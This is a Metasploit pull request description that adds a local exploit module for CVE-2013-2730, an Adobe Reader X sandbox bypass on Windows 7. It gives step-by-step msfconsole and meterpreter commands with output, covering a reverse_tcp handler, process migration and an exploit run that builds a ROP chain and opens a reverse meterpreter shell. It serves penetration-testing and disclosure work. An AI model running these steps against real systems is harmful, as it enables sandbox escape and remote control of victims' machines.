rapid7/metasploit-framework — pull request #1848 by jvazquez-r7 (2013-05-18 17:56:17+00:00)
Title: Add module for CVE-2013-2730

Add module for CVE-2013-2730. I think local exploits are a nice way to start to put sandboxes bypasses on msf-framework. So here is my first try, its a port from:

http://www.binamuse.com/papers/COLLABReport.pdf by Felipe Andres Manzano

It's a bypass for the adobe reader X Windows sandbox => get Medium Integrity Level from a Low Integrity Proces adobe process.

It has been tested on W7SP1 with Adobe Reader X 10.1.4

Some things to have into account:

* In order to check if the target process is LowIntegrity (sandboxed) it tries to create a directory on TEMP, Im using this approach because I'm failing to use railgunt with GetTokenInformation :( will continue trying, maybe asking to @jlee-r7

* The exploit expects the session to be living in the target process to exploit, that is, an AcroRdr32.exe sandboxed (LowIntegrity). So, in order to test you need:

a) an exploit for Adobe Reader X so you get a session on sandboxed target process

b) follow the next steps

* Use the handler to get a meterpreter session from the target machine, and launch Adobe Reader X on the target machine too

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.172.1
lhost => 192.168.172.1
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.196
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.196:49782) at 2013-05-18 12:40:55 -0500
```

* Migrate to the AcroRd32 sandboxed process (the one with low integrity, the son):

```
meterpreter > ps -S AcroRd
Filtering on process name...

Process List
============

PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
2180 3532 AcroRd32.exe x86 1 WIN-RNJ7NBRK9L7\Juan Vazquez C:\Program Files\Adobe\Reader 10.0\Reader\AcroRd32.exe
3532 1308 AcroRd32.exe x86 1 WIN-RNJ7NBRK9L7\Juan Vazquez C:\Program Files\Adobe\Reader 10.0\Reader\AcroRd32.exe

meterpreter > migrate 2180
[*] Migrating from 3684 to 2180...
[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...
```

* Now time to use the local exploit:

```
msf exploit(handler) > use exploit/windows/local/adobe_sandbox_adobecollabsync
msf exploit(adobe_sandbox_adobecollabsync) > reload
[*] Reloading module...
```

* Use the session migrated to the LowIntegrityProcess

```
msf exploit(adobe_sandbox_adobecollabsync) > set session 1
session => 1
```

* Check the target: will the target process:

```
msf exploit(adobe_sandbox_adobecollabsync) > check
[+] The target is vulnerable.
```

* Exploit! Before proceeding will check the target process and his integrity level

```
msf exploit(adobe_sandbox_adobecollabsync) > exploit

[*] Started reverse handler on 192.168.0.5:4444
[*] Verifying we're in the correct target process...
[*] Checking the AcroRd32.exe image...
[*] Checking the Process Integrity Level...
[*] Collecting necessary addresses for exploit...
[*] Searching the gadgets needed to build the ROP chain...
[+] Gadgets collected...
[*] Building the ROP chain...
[+] ROP chain ready...
[*] Storing the shellcode and the trigger in the Registry...
[*] Executing AdobeCollabSync.exe...
[*] Sending stage (751104 bytes) to 192.168.0.5
[*] Meterpreter session 2 opened (192.168.0.5:4444 -> 192.168.0.5:59962) at 2013-05-18 12:42:05 -0500

meterpreter > getuid
Server username: WIN-RNJ7NBRK9L7\Juan Vazquez
```

* Check the MediumIntegrity privileges:

```
meterpreter > cd %TEMP%
meterpreter > mkdir test
Creating directory: test
meterpreter > cd test
meterpreter > pwd
C:\Users\JUANVA~1\AppData\Local\Temp\test
meterpreter >
```

It's just a try, I think sandbox bypasses are useful as local exploits (you get session) but any feedback is welcome :)